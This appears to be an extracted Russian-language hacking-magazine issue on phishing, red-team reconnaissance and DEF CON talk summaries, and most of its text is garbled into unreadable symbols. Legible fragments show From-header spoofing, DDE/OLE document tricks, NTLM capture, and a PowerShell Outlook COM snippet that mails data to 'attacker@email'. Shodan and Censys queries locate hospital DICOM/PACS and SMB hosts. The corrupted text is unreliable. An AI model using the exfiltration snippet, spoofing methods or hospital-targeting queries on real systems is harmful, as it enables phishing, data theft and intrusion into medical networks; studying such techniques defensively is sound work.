???� ???�???� ????�??????� ????,� ???� ?????????�??� ?????� ??????�?????� ????�
??????� ?� ???�??� ???�???� ????� ???�??�?� ???�??�??� Sender� Policy� Framework
(example.org.� IN� TXT� "v=spf1� +a� +mx� +all").� ???�?� ???�????� ???�??
???�??� ???�???�?,� ???� ??????�?????� ?????� ????�?� ???�???�???�?� ???????�
????��???營P,�??????�??�??�燚NS???????燗�??燤X.
???�?�??�?�燚omainKeys營denti?ed燤ail.�??�????�??�?????�???�??�?:
???�?� ??????,� ????� ???�?????� ?� ???�??�??� ???�?,� ?,� ???�?� ??� ??????�????
????�?�?�??�??�??�???,�?�??�?????�?�???�???�??�???�?????�????
????????�?�?�??�???燚NS,�??�??��???�?�???�?.�?�??�?�??�??�????�
??� ???�??� ???�???�?,� ???�??�?� ??� ???�?,� ?� ????� ??,� ??� ??????�?� ???????
?�???�?.�??�?�???�?????�????��?????燩TR.�??�???????�?????燚NS:
???�??????�?�?�??�???��??????��??,�??�?????�??�???�?�?�???????
????�????�??�????�??�??.
WWW
???�?????,�??�?�??�?�??�??�??,��?????�???�
????� ???????� ?� ????�?� ???�???�?� ???�??� mail?
tester.com.
???????????????�???????
??�?�????�??��?????�???�???�??�?��??�?????�??��??�???�?�??�???�
????� ????�???????�??� ???�????,� ??� ??????�?� ??????????�??????� ?????�
??????�??� ?� ????� ??� ??� ???�?� ????�?,� ??� ???????� ?� ????�??� ????�???????
????�??.� ??� ??????� ?� ????�??� ???� ???�???,� ?� ????????????� ?????�?,� ????�
?????:� �??� ???�???� ???�??,� ???� ??� ??????� ???� ??????� ?� ????�???� ?????�
??????� ?????� ???�???� ???�????�?�.� ?� ????�?� ????�?� ???�????� ??????� ???�?
�??,� ?� ??� ????,� ???� ???� ??????�.� ??� ???� ?� ??� ???�?:� ???�?� ????�?� ????????
?????.� ???�?� ???�?,� ???�?� ???�???????� ?????�???� ????�?� ??� ???????�???�
????� ?????:� ???�?� SMTP????�??� ???�???�?� ????????� ????�?� ??� ??????�???
????�???.
???� ??� ??????�?� ?????� ????�???� ?????� ????�??� ?� ???????� ???� ???????�
????� ???�??????�??� ???�???� ?� ??� ????�??� ???.� ???�?� ???�?,� ??� ????�?,
???� ?� ???�????� ???�????� ??????�??� From� ?� ???� ??????�?� ???�?� ?� ???????.
???�????,�??????�????�???�?�??�???�??�???�??�??,�??�??�???�???�
????�??�????�??�?????�?????�???:��????�?????�?�??爅u,�??�爕u.�??,
???�????,�??�????�???�?????�?�??????.��????,�???�??�??�????�
?????,�??????�??�??�?�?????�?�??�?�??�????.�?????�??�?,�?�?????
????????� ????�?????� ???????�??� ?????� ?� ??� ?????� ???�?????�?� ???� ?????�
????�?�?????�?.
???�?� ????� ????????� ??????� ?� ???�????�??� ?� ?� ?????� ??� ????�????
?????�???�???�?�?�????�????�???�???.�?�???�?�??�???�????�???
????�?� 404.� ?????�?� ????�?� ???�??,� ???�?� ????�???????� ?� ?????� ??????�???
????� ?????,� ?� ??� ???� ?????� ????� ???�?,� ?????� ???�???� ???� ???�????� ???�??
??????�???�?.
??�????�?� ?????� ?� ????� ???�??� ????????� ???????�??.� ???� ?????�???
????�??�?� ????�???�?� ?� ???�??� ?????�??� ??????� ?� ???� ?????� ???� ??????,
???�??�???�???��??�??,��???�??�????�?�??????�??�??.�?��????�?,
??� ???????�??� ???�?� ????????� ???�????� ???�?????� ?� ??????�??� ????�?????
????�?� (???� ?????� ????�?� ???�?????�?� ???� ???�????).� ??� ?� ????� ???�??
??�??�???�???�????�??�?????�?!
??????????�?????
?�????�?�??�?�???�???��???�???�?�?????�???,��??�?�??�??�??�?,
?????�????� ?� ???�??� ?� ?????� ????.� ????� ????� ???� ?????�???� ?????� ????�??
?� ????�?� ??� ??????�???� ???�??� ???�????� ???�??�?� ???� ??� ????�??????�?,
???��05�???�??�?????�???�?牜??�??�???�??�?????�???,�??�???�???�
???�??�?�.��????,�???�?,�??�?��???�????�?.
??�??�?� ????�?� ???� ???�??�?� ???�???�???� ??????????� ?????�?????�??.
???�????,�???��????�?????�???�???�???�??,�??�?�???�?????�?�???�
?????� ???�??�????� ??� ????�?� ???�????� ????�?,� ???????� ??� ??� ??????�??.
????�?� ??� ????�?:� �??� ??� ????�??� ?� ??� ??????�??� ?????.� ????????� ????�
?????,�????,�????!�
???�??�?�?�??�???�???�???�??�?�??�???�???�???�??�??�?.�????
????�??�???�???�??�?�?????�???�??�???�???�??�?�??????�????�?.
?????:� �???� ?????� ????�?,� ???� ???�??� ???,� ???� ??� ?????� ???�???,� ??????
????,�???�?�?????粻?��???�?????�?�???????燛xcel.�??�?�??�???�???�
??�?�??�????�??�???�?�????�??�??�??.
???� ????�??� ?� ???�?� ????�?????� ????�?????� ???�????:� ???�?????
?????�?� ?� ???�????�??,� ???�??????� ?� ?????�??� ????????� ?????�?,� ???�??�?
????????� ?????�?,� ???????� ????�???????�?� ????�?????� ???????.� ?� ?????,
???,� ???� ???�????� ??� ???�?� ???�??� ????� ?� ???????�?� ????�?????�?� ???�???�
???,� ??� ???� ????� ???� ???�?????�?� ?????�?,� ????� ?� ????�?� ?????� ??????�?,
???�??�???�?.
??????
?�????�??�??�???�?.�???�?�???�???�?�???�?????�??�????,�?�???�
?????�?�??�?????�????�?�?�???�?�?�??�??????�??�??�??,�??�??�???�
??�??�???�???�???�?�???�????��?????��???�??燘asic??????�?????�??.
????� ??� ?????� ???�?????� ???�???�??� ??� ????�?� ??� ???�????,� ???????�
??????��??�????�(Con?uence,燡ira��??�????).�??�??�??�??��??�????�?
????�???�??�??????,��???�?????�?�?�???�???,�??�???�?�?????�????�
??.�?�?????�???�?????爁avicon.ico!
??????????
????�??�??� ?� ????� ??� ?????� ???�??� ???�??,� ??� ???????� ?????� ????????
??????????�??�????.�???�?�??�???�?�???�??�??�?????�???�??????
????�?????�?��???�?.�?????�??,�??????�?�???????�???�??�??�???????�
???� ???�???:� ???�?????� ??� ?????� ???�??�?� ?????�?,� ????� ???� ?????�??� ?
???�????,� ?� ???�?????.� ????�?� ???� ???� ??????� ????�???�?� ???�????,� ???
????�???�?�??�?????�?�??�??�??�????.
??�??�??�???:�????�??????�??�?��??�???�?????�?��??�??�??.
????� ????�???�?� ?� ???�????�?� ??� ???�?,� ?� ???� ???�?� ?� ?� ?????�???,� ??
???�??????�??�?,�??�?�????�?�???�?�,�??�????,�??�????.
???�???�???�??�??�???��??燙C.�??�????�??????�?????�??�????�
??,��????�??�?�??�?????�???�?�????�???�?????�??.�??�???�????�
??�?�????�??�?�?,�?��??�???�????�???�?????�?,�??�??�???��????.
????�??�?�???�?�????�??�????�??,��??�???�??�???�?????�?�??�???
???????�???�?????�?.
??�???� ?� Defcon� Moscow� ?????�?� ???�?� ???� ?� Outlook:� ??????�??� From� ????�
?????� ???�?????�?,� ???� ????� ???�???????� ???�???� ???�????� ???�?� ????�?
?????�??.�???�?????�?�??�???�????�???�?�??�????,�?�???�?�?�???�
????�?� ???�??� ?� ???�????� ???� ???�??�?.� ????� ?????�???� ????�?� ?� ????????�
???� From:� Fake� Mail� <fake@mail.ru>� <realemail@mail.ltd>,� ?� ???????�
???�??�????�??�????�???�?????�?�??�?????�?????�爁ake@mail.ru.
???�??�???�???�???,��??????�??�?�??�???,��??�??�???????�??????�
??????� ???�??� ???????�?.� ????�?� ????�?� ?� ????�??� ??� ???�??� ????�?,
??????�?� ?� ?????�??�?� ??� ????.� ???�????,� ???� ??� ???�????� ??????� ????�?
??� ??????�???,� ???� ????�???�?,� ???� ??????� ???�?� ????�?� ???�???,� ?� ?????�
??????�?� ????????.� ???�????� ????�?????�?� ?� ?????� ???�??� ?????�?????�?,
?,�?�???�??�??�???,�???�???,�??�?�????�?�??�????,�???�??�?????�?
??????�???.
?� ???�??� ??� ???�??� ???�????� ????�?,� ????� ?� ???�??� ???�??�????� ????�?
?�??�??�???,�????�??�????�?�??�?????�??.�??�????,�燨utlook�??�??
????�?� ????�?� ?????�?� ????�??� Courier� ?� ???�??� ????�????� ?� ???�??
???�??,��?????�??�??�????.�??�??�??�??�??�????,�?�??�??????�???�
??????�??�???�??????�????��??�??�??�??�????�??�?.
??� ?� ?????�?,� ??� ??????� ????????� ??????� ????�?� ???�??� ?� ???�????,
?� HTML� ???�?� ???�??�???� ?� ????�??� href� ????,� ?� ?� ?????� ????�?� ?� ???�??
???�??.� ??� ?????????�?,� ???�??� ?????,� ?????� ?????�???� ????�?.� ?� ???� From
????�?� ???�?� ???�?????� ???,� ???�?� ???� ???�?????� ???� ?� ????� ?� ???�?.� ????�
??????�?� ???�????,� ???� ???�???�?� ???� ???�???,� ?� ???� ?� ???????,� ???� ???
???????,�??�??�???????????�???�??.
??�??????��??燨pen燫edirect.�??,�?�??�?????,�???�?�??�?�??�???
???�???????.� ?� ????�???� ??� ??????�?� ?????� ??????:� ???�????,� ??� ?????
??????�?????� ????�??� ?????� ???�?,� ?� ????�?� ?� ????�?� ?� Open� Redirect,
???????�????�?????�?????�?�??�????.
???????
??�??�?,�?�?????�?????�?????燚ynamic燚ata燛xchange,�??????�????�?
???� ?????� ??????�??,� ??� ??????� ???� ???�???�?� ???�?� ???� ????�???�?.
??????� ???�???�???� ?� ?????� ?� ???????,� ???�?� ????�???????� ?????� ????
?????�?� ????� ?????� ???????.� ??????� ?????� JS,� MHT� ?� MHTA,� ???????� ????
???�?� ???�???�???� ????�???�???,� ???� RTF,� ???� ????� ?????�?� ????� ???�???
???�??????,�??????�????�??�??�??�???�?�??�??燗PT?????�????�?.
??�?�??�?�18�??,�????�?�?????�?�??�?��?�?????�??��???�?
????�??�??�?,�??�?????�????�?�??�?�???�?�?�??�???�???.��??�????
???�?????� ????� ???�????� ?� ????�??� ?????�??� (?� ????????� Word� ?????�???�?
???�??� ?� ???�?????� ??� ????�??� ????�?,� ?� ?� ?????� ??� ?????� ????????� GET?
???�??���?????�??�??�???�燦TLM????,�???�???????�燫esponder),�???
OLE:�????�?�????�???�????�??�??��???????燱ord,�????�?�???�??�??
????�?� (???�????,� ???� ????�?� ???????�?� Excel� ???� ????�?)� ?� ??????�?
?�????�????�??�???????,�??????�??�???�?�???�?????�?�??�?�??�???�
??.
????????
????� ??� ???�??� ???�????,� ??� ???????� ???� ???�???� ????�?,� ?� ???� ??� ?????�?
??????�???� ????�????,� ???�?� ???� ???�?� ????�????�?� ???� ???�?� ????�?
?????.��?????�???�??��??�????�??�????�????�???�???�?�?????�?
????
??�??�???�???� ?????� ???�????�?� ??� ???�??.� ??????� ???????�???� ??????
???�????� ???�?� ???�?� ???�?:� ???�?� ????�???????� ???,� ???� ???�???�????
?????�???�??�???.�?????�??�??????,�??�??�?�??�?�?�??�?,�?????
???�??�???�??�???????�?��??�?13�????��??�?????�????�???�???�
????????�??� ?????� ???????� ??????� ???�???�?� ???� ???????�??�?.� ???�??
????�??� ?� ?????� ????�?� ?� ???�??� ???�?� ??????,� ???�?� ????� ????�???
???�??�?�??�??�????�???�??�???,�??�?�??�?�????.�??�?????�???.
???�??� ???�??� ????�???� ?� ???�????�?� ????�???�???,� ?????????�??�?
?�??�???�????�??�?�?????.�???�?�????�???�?�?�??�?????�????�???.
?????�??�?� ???�??� ??????� ????�?� ?????�??,� ???�????� ?� ???� ??� ??????
?� ??????� �?�???� ?????�???.� ????�?� ????�?????,� ??????�?� ??� ???�???�??
?爏andbox????�????�.�?�???�???�?�???�?�??????�???�??,�??�??�?????�
??�???????�??????�??�???�??�?��?�?�??�??�?????��??�?????�??.
???� ????� ?????�??� ????�??�??� ????� ??????�???� ?????� ??????�???�??
???�??�????� Word,� ???� ???�??�??�????� ?????� ???????�??.� ???�???�?
????????� ?� ???� ?????� ZIP,� ???� ????�?� ???�?� ???????� ????�???�??.� ??� ????
????????,�??�????,�????�?????�??????�?�??�??�?????�???�????�??�??
????�?�???�?????�??�?,�?�??�???�??�????�????�????.�????�???�??,
????�??�????�???�????,�?�??�?�???�??�??�????�??�????�???�燱ord.
?�?????�???�??�???�???��???????�?????�??,�??�?�?????��???????
???�?????�???.��??�????�????�???�????�??�???��????�????�?燞TTP,
?� ????� DNS.� ???� ??????,� ???�?� ???�??� ????�?� ??� ???�?????� ???�??� ????�
?????�?????�??�???�???�????�???�?????�?�??�????�?�??�??�??�?
???�????�??.�????�???�???�?�?????�?�????�???,�?�????�????�???�?.
??� ?????� ??????�?:� ????� ????�?� ???� ??� ??????�?,� ???�??,� ????????� ????�
???�??�?�??�?????�??�?!�?????�?�??�?,�??�??,�??�?�?????�?????�?.
???�??� ?� ????� ??� Outlook� ???�?� ????????� ?????� COM????�??� ?� ?????�???
????�?�?????�???��??�?�??�????�?�????�????:
$Outlook�燦ew?Object�ComObject燨utlook.Application
$Mail��$Outlook.CreateItem(0)
$Mail.To��"attacker@email"
$Mail.Subject��"Subj"
$Mail.Body��"Message"
$Mail.Send()
??????
???��???�??�?�??????�????�?????�????�???�?�??�?�???�?�??�????:
??????�???� ???�????� ???�?????� ???�???,� ???�???�?� ?????�??,� ??????????�
????��??�??�??????�?????,�??�???�??�??�????�??�????�??��(????????�
???�????)�??�???�??�???�???�????�???�??�?????�??!
?????
????????
??�?????
????????
??????????
???????�?????�????????
?� ??�??� ??� ????�??� ???????� ?� ???�??�??
?� ???�???� ???????�?????�??� ????� (kill
chain).� ???�??� ???�??,� ???�??� �??�????�,
??????�???�????�?�?�???,�??�??�?????
???�????�?� ??� ???�??� ??????� ???�??.
??� ???????�??� ?� ?????�??� ???�??,� ????�
??????� ??� ????� ???�?,� ???????� ??????????
???�?� ?,� ?????� ????�??,� ???�?????� ??� ????�
????�??.
?????�???????
????????????????�?
????????????�????�
??????????�?????????
??????�?�??????�???.
#InspiredByInsecure
condifesa@gmail.com
??�???�???,� ???�?� ???�???�?� ???�??�??�?� ??� ???�????� ???�???,� ???�?????
??� ???????�?� (?,� ???�????,� ???�?????� ????�??� ?� ????� ???�???�???� ?� ?????
???�??� ??????),� ?� ???�?� ??????�?????� spear� phishing� ?� ???�?????�?
??� ???????� ????�??� ????�?� ???????�?.� ??????�??� ?????� ???�?????� ?� ???�?
???�???,�?�??�?????�??�?�????�????�??�??.
???�??� ???�????� ?� ???�????� ???� ??????� ???�???,� ???�??� ?� ????� (tactics,
techniques� and� procedures,� ?????� TTPs),� ???????� ?????� ??????�?????�?
???� ???�??????� ????.� ????�?� ????� ???�?� ??????� ???�????� ???�???�???
?� ???�?????:� ???�?� ???� ???�?� ????�?� ?????�????�??� ?????� ???�?� ???� ????�
????� ?� ????� ?� ???�???� ???�?????� ?????�????� ????�????�??� ???�????.
???� ????� ???�?� ?????????� ?????� ???�????�?,� ???????� ???�????� ???�????,
????�?????�???????,�????燭TPs�?�?????�???�?�??�??�??�?.
WARNING
???� ???????�??� ???�??�????�?� ?????�?????�?
?�???�???�???�??�????.�?�????�??,�?�????
??� ?????� ??????�???�????� ??� ?????� ???�?????
????,�??�????�??�?????�??�?�??�??�?????.
?????�?????????�?????
??�??�??�??�????�??�?��??�??????�??�???�??????�??�??�??�??�????
????,�??�?????�??�???�????�?.�??�?�??�???�?�???�?????�?????�???�
??�??�?:
? ??�????�???�??� ???�???,� ???�??????�??� ??� ???????�?� ?� ???�???
???�??��???????�(???�???,�??????�???�??,�???�??�??�??�??�?????
???�????�???�??�???�????��??�????)?
? ??�???�??� ??????�???,� ??????�?????� ???�????�???� ????�?� ???????�?
?�?�??�??�???�??
? ????�??� ??????� ?� ????????� ???�????� ???�????�??� (?� ???� ???�?� ???????�
??????��??�??�????).
???�?????� ?????� ?????�??� ???�???� ??� ???�????�?� �???�??�???粻 ?� ???�???
(???�????,�??�?????�??��??�????�????�????�??�?),�??�?????�?�???
????�???�??�??�?.�????�?��?????�??�??�???�??�??�??�???�???�??�???�
???�???�??�??�??�??�?,�??�??????�??�?�??????�?.
??�????� ????????� ?� ???????,� ???????� ?� ???�???�?� ???�??????� ?� ????�
?????�???�???�???�?�???�??�??�????�?�???�???.�??�?????燘ring爕our
own� device� (BYOD),� ???�???�???� ???�????�??� ???�????� ??????�?????� ????�
???� ??????�???� ???� ???�??????�??�??,� ?� ???�?� ????�????� ????�??� (???�??,
o?ce365!)� ???�???�?� ????????.� ???�??�???�???� ??????� ???�??� ???�?� ????�
???????�??�????��???�??�????�??�????�?�?????�???�???�?.��??�?
???????�?� ?????� ???�???�????�??� ?� ???�???�????� ????�????� ???�???�
???????�??�??.
?�???�??�???�???�???�???????�??�???�??�?????,��??????�?????
(???� ??� ???�?)� ????�?� ?� ???????� ???� ???�?� ??� ???�?????.� ????�????� ?????�
????� ?????� ???�???� ?� ???�?� ????�???�??.� ??� ???�???� ???????� ????
???????�???� ????�???�??� ??� ???�???�??� ???�??�??� ???�????� ???�???�
???????.� ????�???�???� ??� ??????� ??????�?????� ???????�??� ???�??
???�??????�???�??�??????�?�??�??�??????�???�????.
??�??????????? ??????????
?� ?????,� ?????� ???�????� ??????� ????�??�??� ???�???�?� ???�??�??????
??�????�??�??�????�?�??!
?� ?� ???�??� ????,� ?????�????� ???�????� ???????� ????� ?� ???�??� ???�?,� ???
?� ???� ???� ??????,� ???� ????� ????�?????� ??:� ???�?� ???� ??????�???� ?� ???�?
�??????�????�????�???�?�...�)
??????????????,�???????,�????????
???�??�?,� ???� ??????�??� ????,� ???� ???�?????�?� ??� ???????� ???????�?,
????�?????� ????????� ?????�??� IP?????�??,� ???�??�??????� ???????� ?????�
????�??.� ?� ????� ????�?� ???�????� ???????� IP?????�??� ?????�?� ???�??� (????�
???????�??�???,� ???�????�?� ?� ???�??)� ?� ???�?????� ??� ???�?� ????�??
?� ????,� ?� ??,� ???� ????�??� ???�?� ????,� ???�?� ??????� ??� ??????.� ???????�??
?????�??� IP� ???�?� ?????�?� ?� port????�??.� ????�?� Nmap� ?� ???????�??
??????�?????�??�???�???� Masscan�??燴Map��??�???�?�??�????�???�
??�??�???�????.
???,� ???� ????�?� ?????� ???�?� ?� ???????�???� ???�??????�??� ????� ???�?
???�?????� ??� RIPE� ?????�???� IP?????�??� ????� ????�???�??,� ?� ???�????
???????�??�???�??�?�??�????�??�?:
? healthcare?
? medic?
? clinic?
? surgery?
? hospit?
? dental?
? pharmacist.
???�?�??�?�??�?�????�???�???????�??��????�???�??�?????�??�???�?
????.
????�???�???�?��??�???�????燤asscan
??�?�??�???�???��??????燴Map,�?�???�???�???�??�?�??�???�?????�?
???�????� ZTag� ???� ???�??�??�?� ?????� ??� ???�???� ????�????�???� ???�???.
????�???�????�???�?�???�?�??�?????�???�??�????.��??�??�?�??�??
?????�????�??� ???????�??� ???�???� ????�?????�???�?� ???�?????� ?????�
???.
???�??�????�?�??????�?�??????�???�?????????�???
???�?� ???�????�??� ?????� ???�?� ???????�???�??� ?� ???�????� ???�????
???????�?� ????�??�??� ???�???�??:� ???�???� ???????�??� ???�????� (building
management爏ystems?�???�?,��??�?�???�???�?????�?�????�????�??�??,
???� ???�????),� ????�???� (?????�??� ???� ??????????� ????�???�??
?� ?????????????),� ???�???�?� NAS� (?� ????� ???�????�???�??�??� PACS?????�
????),� ?????� ???�???� ?� ???�??.� ??????�??� ???�??� ??� ???�??�??� ???�????,
???�?????�????�???�?????�??�???�??�?��??�?????�???�????�(?????�
???�?????)�?�????�????.
???�??�??????�??�?�?????�???,�?????�?????�??�????燦iagara
Fox
??�???�??????�??�???�????,��??????,�??�????,�????�??�??
?????�??�??�??�??�??�????
???�??�??�?????�??�????�?,�?????�?��??????�???�??�??
OSINT�??�??????????
???�??� ?????�???� ???�??� ????????� ???????�??� ?� ???????�?� ?� ???� ????
?????� ?� ???� ??� ???�??�??�???�???� ?� ???�???� ????� Shodan� ?� ???�????�??
????�????�??�??,�?????�??????�????�?�??�??�???�?�??�????�?.
???� ????� ???�?� ??� ?????� ????,� ?� ???�?????� ???�???� ???????�?� ???�???�
??????� ???�???,� ???????� ?????� ???�?� ?� ????� ???�???�?� ???????�??�?
???????� ????�???�??� ?� ???�???� ???�??� ???????�??.� ?� ???�???,� ????
????????��??????�???�??�???�?,�?�?�???????�????�??燚ICOM????????�
????� ?� PACS????�???� (picture� archiving� and� communication� system).
???� ???????�???� ???�???,� ????�??�??� ??� ????�????� DICOM� (digital� imaging
and� communications� in� medicine,� ???????�??� ????�???� ???�????,� ???�????,
??????�?� ?� ????�??�????� ???????�???� ????�???????� ?� ???????�??� ??????�
?????�??�???�????)��??�?????�?�??�?????�??�????�??:
? DICOM????�??� ?� ???????�???� ??????�???,� ????�?????� ???�????????
??????�?�??????�??燚ICOM????�????
? DICOM????�??� ?� ????�??�???????�??�??� ???�????,� ???????� ?????�
??????�?� ??????�??� ?� ???�????� ???????�??� ??� ???�????� (?� ???�???�?,
?�????�?????�????�???�??�?燩ACS????�???)?
? ??�??????�??�??� DICOM?????�??� ?� DICOM?????�???� ?� ????�???�
????????�??�??� ???�????,� ????�?????� ??� ????�??�?,� ????�??�????
?�?????�??????�???�???�??????.
??�???????�??� ???�??�????� ????�???�??� ???�??� ???�??� ?� ???????
????????????�?�??�??????�??�??�????�???.�????�????�???�?????�?
???�????�?,�??????�??�???�?????�????�?????�?????�??�?????�??�???�
????� ?� ???�??� ???????�??� ?� ???�??�??.� ???�?� ???�?????� ???�???�???� ???
???�???��??�?????,�??�????�?�??�?�??????�?,�?�???�??�??�?�?????�
?????�??�??�??�??�?�??�??�???�????�?.
??�??� DICOM???????�??� ???�?� ??????� ?� ????�??�???� ???�???� ?� ?????�
??????燬hodan:燚ICOM爌ort:104.
???�??燚ICOM????�????
???�?� ???�?� ???�???????� ???�?� ????�????�??�??� DICOM?????�??� ?� ????�
?????�???�??�??� PACS????�???,� ???????� ??????�???�?� ???� ????�??�?,
????�????�?��???�??�????�??�??.�??�??�??�???�??�???�????�??�???
Censys:� pacs� and� autonomous_system.organization:� (hospital� or�
clinic爋r爉edical爋r爃ealthcare).
??�?????????�???�????�??�??�???�??
??�???�??�???�??�???�??�???�燬hodan�?�?????�??�??????�??��???�
??????�????�??�?�??�?�5�(SMB),�??�?????�???�?�????�?????�??�?
????�?????� ?????�??� (???�????� ?� ???????� ????�??),� ???�???�?� ???????
????�?????,� ?????� ????� ?� ????� ?� ????�?????� ????�???�???� ????�??,
?�????��??.
??�????�??��????�???�???�????�??��?????�??�???�???�???�??
????�?????????�??�?????????�????????
???�?????�?� ????�?� ???�??????�???� ???????�?� ????????�?� ???�???�?
??????�??????� ???�?????� ???�???�?� ????�??�??� ????�????.� ???�????,
???�????�????�????�???�????,�??????�????�??�??�????�??�??�????
???�???�?,�??????�?�????�????�????�?.
???� ?????�????� ???�??� ???�???�?� ???�?????� ???�?� ???�??� ???�???
???????�??� ??� ???�???� ???�?,� ???�?� ???�?????� ????�??????,� ???� ????�??
?????�??� ??� ????�?� ?� ????�?� ???� ?????�?� ???�????.� ?� ???�?????� ???�?
????�?� ???????�????� ????�??� ????�???�??� ???�???�?� ????????� ????�???�
????????� ???�?� ???�????�??� ?� ???�????�??� ???�?????�?????,� ???� ????
??�???�?�???�?�??�???�????�??.�?????�??�???�???�?????�?�???�?
????�?� ?????????�??� ???�??� ?� ???�?????� �????�??� ???�????粻 ?� Inbox,� ??� ?
??????�?????�??�??�??�?�????�???�???�??????�??�????�,�????�????�
???,�?�??�???�????�????.
???�??� ????�??�??� ?????,� ?� ???�?� �??�??�????�????粻 ?????�???� ??
????�?????�?�??�??�????�?�??�????�?�??�???????�??????�??????�??
?� ???�?� ???�??� ?� ???�?????� ???�?????�??� ???�????� �????�??� ???�????�
?????�??�?????�???�???�???�?,�????�??�?????�??.
???�???�?????�?????,��??????�??�?�??�???�??�???�???,�?��?????�
???� ????�?� ???�???� ???�?� ???�??�?� ??????,� ???????� ??????�???� ?????�??
API� ???????�??� ???�????� ???� ?????�????� ???�??� ???????�??� ??� ????�??
??????.
???�??�??????�???燨SINT,�?????�????�?燗PI�???�??�??�????
?� ???�???,� ???�?????,� ????�??�???� ?� LinkedIn,� ????� ????�?????� ???�????
???�????�??� ???� ????�???�??� ???�?� spear?phishing,� ??� ???�?,� ???????,� ????�
???�???�??�??�(????�???�??�??�?).�?????�??�??�??�??,�??�????�??�?
????�???� ????� ???�????�??� ?� ???�??� ???�????,� ???�????� ?� Facebook.
???� ??????� ???????�???� ???�?????� ?????� ???�???� ????�??�??� ???�??�???
???�?�????,�??�????�??���????�??�??�??牜??????�???�.�????�?�???�
??� ???�?� ???�??� ?????� ?????�???� ????�????� ?� ??????�???�?� ??� ????�?
??????�??� Resort� Fee� ?� ????�?????�??� ?????�??� ?� ????� PDF????????�?.
Pro?t!
RECON�??�????????
??�?�????�????�??�??�?�??�???�??�?�????�??????,��?�????�???�?
???�????� ??� ????�?� ?????�??� ???????�??� ??????�?� ??� ????� ???�?.� ??� ????
???�???� ?� ?� ???�???�????� ???�????� ??� ???�?� ???�????�??� ???????�??
?� ???????�?� ?� ????�?� ?� ???� ?????�??� ?????�????� ?????�????� ???�?,
???????�?�??�????�?????���??????�????�?�????�??�??�????.
?�????�????��??�?�??�?????,�??�???�???�?�????�???�??�?????�
??,�?�??�??�??�???�?��?????�??�(???�??�??�???�??��??�??��???�???�
???�???�???�?),��??�??,�????�???�??�??�???�???��??�??�??�?????
IDS/IPS,燱AF��??,�??�??�???�?�?????????�?�??????�?.�???�??�?????�
???�??�???�?�???.
?????
??????
?�??????
??-???????????
???�???????燦FC�燗PPLE燩AY
?�??????�???????
?�??????????
???�??�???� ???�???� ????� ?� ???�?� ?????
????�??�??� ???�????� ?� ???????� ?????�???
???�????�??.� ????� ??� ?????� ???�???�??
?????�?� (???� ??� ???�??� ???� ????�??�?):
???��??.��????�?????�?????�??��??,
???� ???�???� ?� ???�????�???� ???�??�??�??
???�??????.��??�?�??�??,�?????��???�
??????� ???�????� ?� ???�?????,� ???????� ??
?????� ???� ?????� ??????:� user?generated
content�??�?????�??�??�?�??�????.�).
?????�????
???????�?�?????????????
????????????.�??????????
??????,�????????????
�?????�?????????�
????????????�???????�,�
?????????�?????�???????
???�???????????.�??????
????????????????
?????????��??????????????
????????,�????????��????
??,�????????????
?????????.
vedacoder@mail.ru
?????�?????�????????
Popping燼燬mart燝un�//燚EF燙ON.�17
??�??�??�?????�??�???��??�???�?:�???�???�??�????�???�?�?�??
????�???�??�??� ????�?????�??.� ?� ????� ?????� ???�????,� ?????� ????,
?�?????�?,�?��????�??�?�???�????�?�??�?.
?� ????� ???�???� ?????�???�?� ???????�????� ????�?� ??� ?????� ?????� ????�
???????,� ???????� ???�????� ?� ???�???� ???� ???????� ?????�???�????,
?� ??????�??�???�?� ???� ???� ???�????�?.� ??????�??,� ??????�?,� ???� ??� ????�
??????�??�?�???�???�???�??�?�?�??�???�??.�?????�??,�??�??�??????�
????� ??????�?,� ????� ????� ???�??�???� ?????� ?????�??� ???�????� ???�?????.
???????�?,� ???� ????�???� ??� ???�?????� ????� ???� ????�???�??,� ???� ?????�
????????�???� ???????�???� ???�????� ?� ???????� ???�??????� ?� ???� ???
??????�????.
DIRTYTOOTH:�??????�?????��??????�???????
Kevin燤itnick.燚irtyTooth:燩ut爉usic�&爈ose爕our燾ontacts�//燭oorCon.
2017
???�??� ??????� ???�???,� ?????�????�?� ???�?????� ?????�???� ???�?.
?�??�?????�??�?�??�??�???�?�????�???�???�?�??�??????�??�????�
???�??�???�????,�?,�??�??�?�?????�?�??�?�??�???,�???�??�??�????�
?????��?????�?�????�???�??,��??�??�??�????.
Bluetooth????�?????�??�????�?�?�???�??.�??�????�????�???�????�
??�???�??�?????�?�??�??�??�??�?�??�??�????��?????�??�??�??????�
?????.� ?� ???�???� ????�???�??� ????/???� ???� iOS� 10.3.2� (?� ?????� ???�??� ????�
???� ????� ??)� ???� ????�?� ???????�?� ???????�??� ???�???�?.� ?????� ????�?
???????�??� ?� iOS??????�??,� ???�?????� ?????�??�???� ???????�???� ????�
????�?,� ?� ???�???�????�?� ?????�??�?� ???�????�??� ???�???????� ???????
??????� ???�????�????�??� ???�??� ????�?????�?� ?� ?????�?,� ??????�??�?
???�??????�???爄OS.
????????????營OT-?????????�????�???????????
Caleb� Madrigal.� Controlling� IoT� devices� with� crafted� radio� signals� //
DEF燙ON.�17
????� ???�??� ?� ???�??�??� ???????� ?� ??????� ???�??�??�??� ???�?.� ?� ????�
????� ???�?????�??�???�?,� ???� ???�???????� ???�????� ???�??� ?� ??????
?????�???�??�???�(???�?????燬DR),��?????�?�???,�??�?????�???�?,
???� ????�?� ???????�???�??� ????� ??????�???.� ???�???�???,� ???� ?????�
?????�???,�???�???????,�??�??�???�???�??�??�??�??�??�???��??????�
????�???� ???,� ???� ???�?????� ???�??�??�??� ???�?????�??� ?� ????
???� ??????�?????� ?????� ????�???�?� ?� ????� ?� ???�?� ??????,� ??????� ?????�
????�????� (????�???�????� ?????� ????� ?????�?� ???� ???�????� ?� ?????�
????????�??).
???�?????�??�?�?????�??�???�??�??????�??�???�???�????�?�??�???�
???�?� (??� ????� SDR),� ???????�???� ?????�??� ?� ??????�??� ???�??�??�??
???�????�??�????.
????????????燫FID-???????��??????�???????�
??????�????????�??????
Dennis� Maldonado.� Real-time� RFID� Cloning� in� the� Field� //� DEF� CON.
2017
??�??�?�????�??�?�??�?�?????�?�??�????�??????�??�??�???�????
RFID?????�??.� ????�?� ???�???� ???�???�????,� ???� ???�???,� ???�?????,� ????�
??????�??��??�??�???�???.�??,�???�?�?????�?�????�??�??�??�????�
?????�??�???�燫FID??????�??,�??�??�??�?�???�???�???�???
?� ????� ???�???� ????�???�??� ?????� ?????� ???�??� ???�???�????� RFID?
????�??,� ???????� ???�????� ???�?????� ?� ???????� ????�???.� ?� ???�???� ????�
????�???�????�??�??????�??�?�??�??�??�??��??????�??�???�?????�
